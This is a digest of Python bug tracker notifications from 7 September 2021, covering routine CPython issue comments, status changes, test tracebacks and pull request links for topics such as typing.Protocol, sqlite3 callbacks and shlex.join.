Date: Tue, 07 Sep 2021 14:07:50 +0000
Subject: [issue45122] Remove PyCode_New and PyCode_NewWithPosOnlyArgs
In-Reply-To: <1630968243.03.0.371650813101.issue45122@roundup.psfhosted.org>
Message-ID: <1631023670.74.0.356230296491.issue45122@roundup.psfhosted.org>


Guido van Rossum  added the comment:

Da-woods, can you take care of that?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 10:10:09 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Tue, 07 Sep 2021 14:10:09 +0000
Subject: [issue42839] SourceFileLoader does not (fully) accept path-like
 objects
In-Reply-To: <1609943532.78.0.260162878801.issue42839@roundup.psfhosted.org>
Message-ID: <1631023809.71.0.0465321548054.issue42839@roundup.psfhosted.org>


Petr Viktorin  added the comment:

I just filed the slightly more general bpo-45127.

----------
nosy: +petr.viktorin

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 10:10:13 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Tue, 07 Sep 2021 14:10:13 +0000
Subject: [issue45127] Code objects can contain unmarshallable objects
In-Reply-To: <1631023038.1.0.991246928913.issue45127@roundup.psfhosted.org>
Message-ID: <1631023813.6.0.45014946216.issue45127@roundup.psfhosted.org>


Petr Viktorin  added the comment:

See also bpo-42839

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 10:11:23 2021
From: report at bugs.python.org (Diego Ramirez)
Date: Tue, 07 Sep 2021 14:11:23 +0000
Subject: [issue45035] sysconfig's posix_home scheme has different platlib
 value to distutils's unix_home
In-Reply-To: <1630133002.18.0.922476282003.issue45035@roundup.psfhosted.org>
Message-ID: <1631023883.76.0.875836690901.issue45035@roundup.psfhosted.org>


Change by Diego Ramirez :


----------
nosy: +DiddiLeija

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 10:13:55 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 14:13:55 +0000
Subject: [issue34262] Asyncio test fails under Win 7
In-Reply-To: <1532782721.54.0.56676864532.issue34262@psf.upfronthosting.co.za>
Message-ID: <1631024035.32.0.522188729908.issue34262@roundup.psfhosted.org>


Irit Katriel  added the comment:

Changing type since the crash was fixed under issue23919.

There remains (possibly) the failure of test_sendfile_close_peer_in_the_middle_of_receiving.

----------
nosy: +iritkatriel
type: crash -> behavior

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 10:15:09 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Tue, 07 Sep 2021 14:15:09 +0000
Subject: [issue45089] [sqlite3] the trace callback does not raise exceptions
 on error
In-Reply-To: <1630615346.0.0.296018695296.issue45089@roundup.psfhosted.org>
Message-ID: <1631024109.06.0.715367456944.issue45089@roundup.psfhosted.org>


Erlend E. Aasland  added the comment:

Quoting Petr from PR 28133:
  Without the ability to tell SQLite to abort on trace failure, I doubt we can
  do much better than the current behavior. Getting an exception and having
  the data inserted seems quite irregular.


Closing this issue as won't fix.

----------
resolution:  -> wont fix
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 10:15:20 2021
From: report at bugs.python.org (Yurii Karabas)
Date: Tue, 07 Sep 2021 14:15:20 +0000
Subject: [issue45121] Regression in 3.9.7 with typing.Protocol
In-Reply-To: <1630965920.35.0.627159261173.issue45121@roundup.psfhosted.org>
Message-ID: <1631024120.08.0.303130244969.issue45121@roundup.psfhosted.org>


Change by Yurii Karabas <1998uriyyo at gmail.com>:


----------
keywords: +patch
nosy: +uriyyo
nosy_count: 3.0 -> 4.0
pull_requests: +26630
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28206

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 10:18:02 2021
From: report at bugs.python.org (Eric V. Smith)
Date: Tue, 07 Sep 2021 14:18:02 +0000
Subject: [issue45121] Regression in 3.9.7 with typing.Protocol
In-Reply-To: <1630965920.35.0.627159261173.issue45121@roundup.psfhosted.org>
Message-ID: <1631024282.49.0.30221805854.issue45121@roundup.psfhosted.org>


Eric V. Smith  added the comment:

Sorry I didn't notice your reference to issue 45081.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 10:24:40 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 14:24:40 +0000
Subject: [issue35270] Cmd.complete does not handle cmd=None
In-Reply-To: <1542495961.77.0.788709270274.issue35270@psf.upfronthosting.co.za>
Message-ID: <1631024680.61.0.223813935096.issue35270@roundup.psfhosted.org>


Irit Katriel  added the comment:

Changing type since crash is typically used for a segfault rather than an exception.

----------
nosy: +iritkatriel
type: crash -> behavior

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 10:26:35 2021
From: report at bugs.python.org (Nikita Sobolev)
Date: Tue, 07 Sep 2021 14:26:35 +0000
Subject: [issue45042] Many multiprocessing tests are silently skipped since 3.9
In-Reply-To: <1630234890.74.0.652972390758.issue45042@roundup.psfhosted.org>
Message-ID: <1631024795.86.0.106554782224.issue45042@roundup.psfhosted.org>


Change by Nikita Sobolev :


----------
pull_requests: +26631
pull_request: https://github.com/python/cpython/pull/28182

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 10:27:49 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 14:27:49 +0000
Subject: [issue34846] Runtime failure with Failed to import site module
In-Reply-To: <1538273716.55.0.545547206417.issue34846@psf.upfronthosting.co.za>
Message-ID: <1631024869.17.0.144739468829.issue34846@roundup.psfhosted.org>


Irit Katriel  added the comment:

It doesn't look like there is enough information here to do anything about this, and there has been no response from the OP to follow-up questions. I think we need to close it.

----------
nosy: +iritkatriel
status: open -> pending

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 10:33:53 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 14:33:53 +0000
Subject: [issue45128] test_multiprocessing fails sporadically on the release
 artifacts
Message-ID: <1631025233.12.0.173850188755.issue45128@roundup.psfhosted.org>


New submission from Pablo Galindo Salgado :

While testing the release artifacts I encountered this failure:

test test_multiprocessing_fork failed -- Traceback (most recent call last):
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1239, in _dot_lookup
    return getattr(thing, comp)
AttributeError: module 'multiprocessing' has no attribute 'shared_memory'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/test/_test_multiprocessing.py", line 3818, in test_shared_memory_basics
    with unittest.mock.patch(
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1422, in __enter__
    self.target = self.getter()
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1609, in 
    getter = lambda: _importer(target)
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1252, in _importer
    thing = _dot_lookup(thing, comp, import_path)
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1242, in _dot_lookup
    return getattr(thing, comp)
AttributeError: module 'multiprocessing' has no attribute 'shared_memory'

0:09:11 load avg: 0.71 [231/427/1] test_multiprocessing_forkserver -- test_multiprocessing_fork failed (1 error) in 1 min 11 sec
test test_multiprocessing_forkserver failed -- Traceback (most recent call last):
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1239, in _dot_lookup
    return getattr(thing, comp)
AttributeError: module 'multiprocessing' has no attribute 'shared_memory'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/test/_test_multiprocessing.py", line 3818, in test_shared_memory_basics
    with unittest.mock.patch(
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1422, in __enter__
    self.target = self.getter()
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1609, in 
    getter = lambda: _importer(target)
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1252, in _importer
    thing = _dot_lookup(thing, comp, import_path)
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1242, in _dot_lookup
    return getattr(thing, comp)
AttributeError: module 'multiprocessing' has no attribute 'shared_memory'

0:11:11 load avg: 0.93 [232/427/2] test_multiprocessing_main_handling -- test_multiprocessing_forkserver failed (1 error) in 2 min
0:11:18 load avg: 1.09 [233/427/2] test_multiprocessing_spawn
test test_multiprocessing_spawn failed -- Traceback (most recent call last):
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1239, in _dot_lookup
    return getattr(thing, comp)
AttributeError: module 'multiprocessing' has no attribute 'shared_memory'


I cannot reproduce it from installed Python or when testing directly on the repo, but the error seems to still happen from time to time.

----------
components: Tests
messages: 401287
nosy: pablogsal
priority: normal
severity: normal
status: open
title: test_multiprocessing fails sporadically on the release artifacts
versions: Python 3.10

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 10:34:08 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 14:34:08 +0000
Subject: [issue45052] WithProcessesTestSharedMemory.test_shared_memory_basics
 fails on Windows
In-Reply-To: <1630347688.96.0.848198201023.issue45052@roundup.psfhosted.org>
Message-ID: <1631025248.1.0.952807292533.issue45052@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:

Opened https://bugs.python.org/issue45128

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 10:34:38 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 14:34:38 +0000
Subject: [issue39570] Python 3.7.3 Crash on msilib actions
In-Reply-To: <1581006397.33.0.114674633699.issue39570@roundup.psfhosted.org>
Message-ID: <1631025278.44.0.811522538333.issue39570@roundup.psfhosted.org>


Irit Katriel  added the comment:

I personally don't feel like downloading a binary from b.p.o and opening it on my machine.

Can you provide more information about the issue? For instance, what do you mean by crash? Do you have any stack trace or other output?

What is the value in the registry table that it is trying to read and failing?

----------
nosy: +iritkatriel

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 10:36:46 2021
From: report at bugs.python.org (Hugo van Kemenade)
Date: Tue, 07 Sep 2021 14:36:46 +0000
Subject: [issue45129] Remove deprecated reuse_address parameter from
 create_datagram_endpoint()
Message-ID: <1631025406.86.0.884993515985.issue45129@roundup.psfhosted.org>


New submission from Hugo van Kemenade :

The reuse_address parameter was deprecated in Python 3.9 by bpo-37228.

It can be removed in Python 3.11.

PR to follow.

----------
components: asyncio
messages: 401290
nosy: asvetlov, hugovk, yselivanov
priority: normal
severity: normal
status: open
title: Remove deprecated reuse_address parameter from create_datagram_endpoint()
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 10:37:24 2021
From: report at bugs.python.org (Nikita Sobolev)
Date: Tue, 07 Sep 2021 14:37:24 +0000
Subject: [issue45128] test_multiprocessing fails sporadically on the release
 artifacts
In-Reply-To: <1631025233.12.0.173850188755.issue45128@roundup.psfhosted.org>
Message-ID: <1631025444.35.0.280817079403.issue45128@roundup.psfhosted.org>


Nikita Sobolev  added the comment:

Related issues:
- https://bugs.python.org/issue45042
- https://bugs.python.org/issue45052

----------
nosy: +sobolevn

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 10:40:08 2021
From: report at bugs.python.org (Hugo van Kemenade)
Date: Tue, 07 Sep 2021 14:40:08 +0000
Subject: [issue45129] Remove deprecated reuse_address parameter from
 create_datagram_endpoint()
In-Reply-To: <1631025406.86.0.884993515985.issue45129@roundup.psfhosted.org>
Message-ID: <1631025608.74.0.517361833882.issue45129@roundup.psfhosted.org>


Change by Hugo van Kemenade :


----------
keywords: +patch
pull_requests: +26632
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28207

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 10:47:36 2021
From: report at bugs.python.org (Ned Deily)
Date: Tue, 07 Sep 2021 14:47:36 +0000
Subject: [issue27658] python 3.5.2 built from source fails to install
 completely on Mac OS X 10.11.6. Crashes subsequently.
In-Reply-To: <1469917189.39.0.985531249644.issue27658@psf.upfronthosting.co.za>
Message-ID: <1631026056.27.0.505977150466.issue27658@roundup.psfhosted.org>


Change by Ned Deily :


----------
stage:  -> resolved
status: pending -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 11:07:33 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 15:07:33 +0000
Subject: [issue44964] Semantics of PyCode_Addr2Line() changed
In-Reply-To: <1629482860.18.0.0801179280266.issue44964@roundup.psfhosted.org>
Message-ID: <1631027253.53.0.373015933892.issue44964@roundup.psfhosted.org>


Change by Pablo Galindo Salgado :


----------
pull_requests: +26633
pull_request: https://github.com/python/cpython/pull/28208

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 11:09:36 2021
From: report at bugs.python.org (Ned Deily)
Date: Tue, 07 Sep 2021 15:09:36 +0000
Subject: [issue44869] MacOS Monterrey malloc issue
In-Reply-To: <1628479823.5.0.245309193527.issue44869@roundup.psfhosted.org>
Message-ID: <1631027376.02.0.679706858637.issue44869@roundup.psfhosted.org>


Ned Deily  added the comment:

The crash report you provide shows a crash in libstdc++ which is normally not called directly by the Python interpreter or standard library modules on macOS but appears to be being called by libopenblas as provided by the copy of numpy in use. Suggest you follow up with the numpy, openblas, or homebrew projects, if that's where you obtained numpy and friends. Keep in mind that the problem might still be related to the pre-release status of macOS Monterey.  Good luck!

----------
resolution:  -> third party
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 11:11:21 2021
From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=)
Date: Tue, 07 Sep 2021 15:11:21 +0000
Subject: [issue45127] Code objects can contain unmarshallable objects
In-Reply-To: <1631023038.1.0.991246928913.issue45127@roundup.psfhosted.org>
Message-ID: <1631027481.9.0.481618810325.issue45127@roundup.psfhosted.org>


Change by Filipe La?ns :


----------
nosy: +FFY00

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 11:12:41 2021
From: report at bugs.python.org (Diego Ramirez)
Date: Tue, 07 Sep 2021 15:12:41 +0000
Subject: [issue45127] Code objects can contain unmarshallable objects
In-Reply-To: <1631023038.1.0.991246928913.issue45127@roundup.psfhosted.org>
Message-ID: <1631027561.66.0.476189992307.issue45127@roundup.psfhosted.org>


Change by Diego Ramirez :


----------
nosy: +DiddiLeija

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 11:26:17 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Tue, 07 Sep 2021 15:26:17 +0000
Subject: [issue44991] [sqlite3] cleanup callbacks (GIL handling, naming, ...)
In-Reply-To: <1629810432.44.0.0891439205465.issue44991@roundup.psfhosted.org>
Message-ID: <1631028377.3.0.251508921796.issue44991@roundup.psfhosted.org>


Change by Erlend E. Aasland :


----------
pull_requests: +26634
pull_request: https://github.com/python/cpython/pull/28209

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 11:34:06 2021
From: report at bugs.python.org (Andrei Kulakov)
Date: Tue, 07 Sep 2021 15:34:06 +0000
Subject: [issue25963] strptime not parsing some timezones
In-Reply-To: <1451291533.28.0.979317956785.issue25963@psf.upfronthosting.co.za>
Message-ID: <1631028846.32.0.819217156204.issue25963@roundup.psfhosted.org>


Andrei Kulakov  added the comment:

I'm closing this as fixed, the note in datetime docs is here:

https://docs.python.org/3.9/library/datetime.html

(search for 'only accepts', - note 6)

----------
nosy: +kj
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
versions: +Python 3.9 -Python 2.7, Python 3.5, Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 11:34:38 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 07 Sep 2021 15:34:38 +0000
Subject: [issue45104] Error in __new__ docs
In-Reply-To: <1630795125.96.0.304265394784.issue45104@roundup.psfhosted.org>
Message-ID: <1631028878.23.0.681695682567.issue45104@roundup.psfhosted.org>


Change by Raymond Hettinger :


----------
keywords: +patch
pull_requests: +26635
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28210

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 11:48:05 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 15:48:05 +0000
Subject: [issue25769] Crash due to using weakref referent without acquiring a
 strong reference
In-Reply-To: <1448860564.76.0.866220529061.issue25769@psf.upfronthosting.co.za>
Message-ID: <1631029685.34.0.246514229755.issue25769@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> proxy_contains (weakref.proxy) can access an object with 0 refcount

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 11:53:11 2021
From: report at bugs.python.org (Jelle Zijlstra)
Date: Tue, 07 Sep 2021 15:53:11 +0000
Subject: [issue45121] Regression in 3.9.7 with typing.Protocol
In-Reply-To: <1630965920.35.0.627159261173.issue45121@roundup.psfhosted.org>
Message-ID: <1631029991.25.0.0940733006288.issue45121@roundup.psfhosted.org>


Change by Jelle Zijlstra :


----------
nosy: +Jelle Zijlstra, kj

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:00:22 2021
From: report at bugs.python.org (Ken Jin)
Date: Tue, 07 Sep 2021 16:00:22 +0000
Subject: [issue45121] Calling super().__init__ in subclasses of
 typing.Protocol raises RecursionError
In-Reply-To: <1630965920.35.0.627159261173.issue45121@roundup.psfhosted.org>
Message-ID: <1631030422.35.0.274279613112.issue45121@roundup.psfhosted.org>


Change by Ken Jin :


----------
priority: normal -> critical
title: Regression in 3.9.7 with typing.Protocol -> Calling super().__init__ in subclasses of typing.Protocol raises RecursionError
versions: +Python 3.10, Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:04:43 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Tue, 07 Sep 2021 16:04:43 +0000
Subject: [issue45104] Error in __new__ docs
In-Reply-To: <1630795125.96.0.304265394784.issue45104@roundup.psfhosted.org>
Message-ID: <1631030683.37.0.453384520758.issue45104@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset fa15df77f02ba4a66ba0b71989381a426038be01 by Raymond Hettinger in branch 'main':
bpo-45104: Clarify when __init__ is called (GH-28210)
https://github.com/python/cpython/commit/fa15df77f02ba4a66ba0b71989381a426038be01


----------
nosy: +lukasz.langa

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:04:57 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 07 Sep 2021 16:04:57 +0000
Subject: [issue45104] Error in __new__ docs
In-Reply-To: <1630795125.96.0.304265394784.issue45104@roundup.psfhosted.org>
Message-ID: <1631030697.81.0.648730464598.issue45104@roundup.psfhosted.org>


Change by miss-islington :


----------
pull_requests: +26638
pull_request: https://github.com/python/cpython/pull/28213

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:04:51 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 16:04:51 +0000
Subject: [issue41489] HTMLParser : HTMLParser.error creating multiple errors.
In-Reply-To: <1596657865.41.0.326756245182.issue41489@roundup.psfhosted.org>
Message-ID: <1631030691.39.0.99981403293.issue41489@roundup.psfhosted.org>


Irit Katriel  added the comment:

Changing type because crash typically refers to segfault rather than an exception.

----------
nosy: +iritkatriel
type: crash -> behavior

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:04:53 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 07 Sep 2021 16:04:53 +0000
Subject: [issue45104] Error in __new__ docs
In-Reply-To: <1630795125.96.0.304265394784.issue45104@roundup.psfhosted.org>
Message-ID: <1631030693.04.0.374512229444.issue45104@roundup.psfhosted.org>


Change by miss-islington :


----------
pull_requests: +26637
pull_request: https://github.com/python/cpython/pull/28212

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:04:48 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 07 Sep 2021 16:04:48 +0000
Subject: [issue45104] Error in __new__ docs
In-Reply-To: <1630795125.96.0.304265394784.issue45104@roundup.psfhosted.org>
Message-ID: <1631030688.67.0.110416971144.issue45104@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 6.0 -> 7.0
pull_requests: +26636
pull_request: https://github.com/python/cpython/pull/28211

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:06:37 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 16:06:37 +0000
Subject: [issue41489] HTMLParser : HTMLParser.error creating multiple errors.
In-Reply-To: <1596657865.41.0.326756245182.issue41489@roundup.psfhosted.org>
Message-ID: <1631030797.62.0.765804843149.issue41489@roundup.psfhosted.org>


Irit Katriel  added the comment:

The code was changed and now instead of calling self.error() it raises an exception: 

raise AssertionError(
   'unknown status keyword %r in marked section' % rawdata[i+3:j])


So match not being initialised is no longer a problem.

----------
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:21:08 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 07 Sep 2021 16:21:08 +0000
Subject: [issue45118] regrtest no longer lists "re-run tests" in the second
 summary
In-Reply-To: <1630945732.21.0.656532683711.issue45118@roundup.psfhosted.org>
Message-ID: <1631031668.19.0.389929185832.issue45118@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 2.0 -> 3.0
pull_requests: +26639
pull_request: https://github.com/python/cpython/pull/28214

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:21:07 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Tue, 07 Sep 2021 16:21:07 +0000
Subject: [issue45118] regrtest no longer lists "re-run tests" in the second
 summary
In-Reply-To: <1630945732.21.0.656532683711.issue45118@roundup.psfhosted.org>
Message-ID: <1631031667.45.0.0328465038585.issue45118@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset c4ea45d7d2c02674db2fdb96c7eee89324d2dc64 by Victor Stinner in branch 'main':
bpo-45118: Fix regrtest second summary for re-run tests (GH-28183)
https://github.com/python/cpython/commit/c4ea45d7d2c02674db2fdb96c7eee89324d2dc64


----------
nosy: +lukasz.langa

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:21:12 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 07 Sep 2021 16:21:12 +0000
Subject: [issue45118] regrtest no longer lists "re-run tests" in the second
 summary
In-Reply-To: <1630945732.21.0.656532683711.issue45118@roundup.psfhosted.org>
Message-ID: <1631031672.48.0.517441565579.issue45118@roundup.psfhosted.org>


Change by miss-islington :


----------
pull_requests: +26640
pull_request: https://github.com/python/cpython/pull/28215

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:21:27 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Tue, 07 Sep 2021 16:21:27 +0000
Subject: [issue45104] Error in __new__ docs
In-Reply-To: <1630795125.96.0.304265394784.issue45104@roundup.psfhosted.org>
Message-ID: <1631031687.47.0.497225844792.issue45104@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset 5a42a49477cd601d67d81483f9589258dccb14b1 by Miss Islington (bot) in branch '3.8':
bpo-45104: Clarify when __init__ is called (GH-28210) (GH-28213)
https://github.com/python/cpython/commit/5a42a49477cd601d67d81483f9589258dccb14b1


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:26:42 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 07 Sep 2021 16:26:42 +0000
Subject: [issue45104] Error in __new__ docs
In-Reply-To: <1630795125.96.0.304265394784.issue45104@roundup.psfhosted.org>
Message-ID: <1631032002.64.0.940464493849.issue45104@roundup.psfhosted.org>


miss-islington  added the comment:


New changeset ef704137770b2e98da7880c828aaf921f0b45337 by Miss Islington (bot) in branch '3.10':
bpo-45104: Clarify when __init__ is called (GH-28210)
https://github.com/python/cpython/commit/ef704137770b2e98da7880c828aaf921f0b45337


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:27:33 2021
From: report at bugs.python.org (Richard)
Date: Tue, 07 Sep 2021 16:27:33 +0000
Subject: [issue45130] shlex.join() does not accept pathlib.Path objects
Message-ID: <1631032053.23.0.444664437221.issue45130@roundup.psfhosted.org>


New submission from Richard :

When one of the items in the iterable passed to shlex.join() is a pathlib.Path object, it throws an exception saying it must be str or bytes. I believe it should accept Path objects just like other parts of the standard library such as subprocess.run() already do.


Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import shlex
>>> from pathlib import Path
>>> shlex.join(['foo', Path('bar baz')])
Traceback (most recent call last):
  File "", line 1, in 
  File "/usr/lib/python3.9/shlex.py", line 320, in join
    return ' '.join(quote(arg) for arg in split_command)
  File "/usr/lib/python3.9/shlex.py", line 320, in 
    return ' '.join(quote(arg) for arg in split_command)
  File "/usr/lib/python3.9/shlex.py", line 329, in quote
    if _find_unsafe(s) is None:
TypeError: expected string or bytes-like object
>>> shlex.join(['foo', str(Path('bar baz'))])
"foo 'bar baz'"


Python 3.11.0a0 (heads/main:fa15df77f0, Sep  7 2021, 18:22:35) [GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import shlex
>>> from pathlib import Path
>>> shlex.join(['foo', Path('bar baz')])
Traceback (most recent call last):
  File "", line 1, in 
  File "/home/nyuszika7h/.pyenv/versions/3.11-dev/lib/python3.11/shlex.py", line 320, in join
    return ' '.join(quote(arg) for arg in split_command)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/nyuszika7h/.pyenv/versions/3.11-dev/lib/python3.11/shlex.py", line 320, in 
    return ' '.join(quote(arg) for arg in split_command)
                    ^^^^^^^^^^
  File "/home/nyuszika7h/.pyenv/versions/3.11-dev/lib/python3.11/shlex.py", line 329, in quote
    if _find_unsafe(s) is None:
       ^^^^^^^^^^^^^^^
TypeError: expected string or bytes-like object, got 'PosixPath'
>>> shlex.join(['foo', str(Path('bar baz'))])
"foo 'bar baz'"

----------
components: Library (Lib)
messages: 401301
nosy: nyuszika7h
priority: normal
severity: normal
status: open
title: shlex.join() does not accept pathlib.Path objects
type: behavior
versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:27:31 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Tue, 07 Sep 2021 16:27:31 +0000
Subject: [issue45104] Error in __new__ docs
In-Reply-To: <1630795125.96.0.304265394784.issue45104@roundup.psfhosted.org>
Message-ID: <1631032051.64.0.47795896563.issue45104@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset b1f2fe777e1fe133d33cd1e714b8aa0f81fed1cc by Miss Islington (bot) in branch '3.9':
bpo-45104: Clarify when __init__ is called (GH-28210) (GH-28212)
https://github.com/python/cpython/commit/b1f2fe777e1fe133d33cd1e714b8aa0f81fed1cc


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:27:51 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Tue, 07 Sep 2021 16:27:51 +0000
Subject: [issue45104] Error in __new__ docs
In-Reply-To: <1630795125.96.0.304265394784.issue45104@roundup.psfhosted.org>
Message-ID: <1631032071.24.0.17206929285.issue45104@roundup.psfhosted.org>


?ukasz Langa  added the comment:

Thanks for the patch, Raymond!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:30:05 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 16:30:05 +0000
Subject: [issue25240] Stack overflow in reprlib causes a core dump
In-Reply-To: <1443286078.54.0.18490843262.issue25240@psf.upfronthosting.co.za>
Message-ID: <1631032205.8.0.987978364211.issue25240@roundup.psfhosted.org>


Irit Katriel  added the comment:

There was work on recursion in newer versions and several similar issues have been confirmed to be fixed. Since you didn't include a complete reproduction script, it's hard to know whether your case was fixed as well. I am therefore closing this, and request that you create a new issue with full reproduction information if you are still seeing this in a current version (>= 3.9).

----------
nosy: +iritkatriel
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:39:23 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 16:39:23 +0000
Subject: [issue34262] Asyncio test fails under Win 7
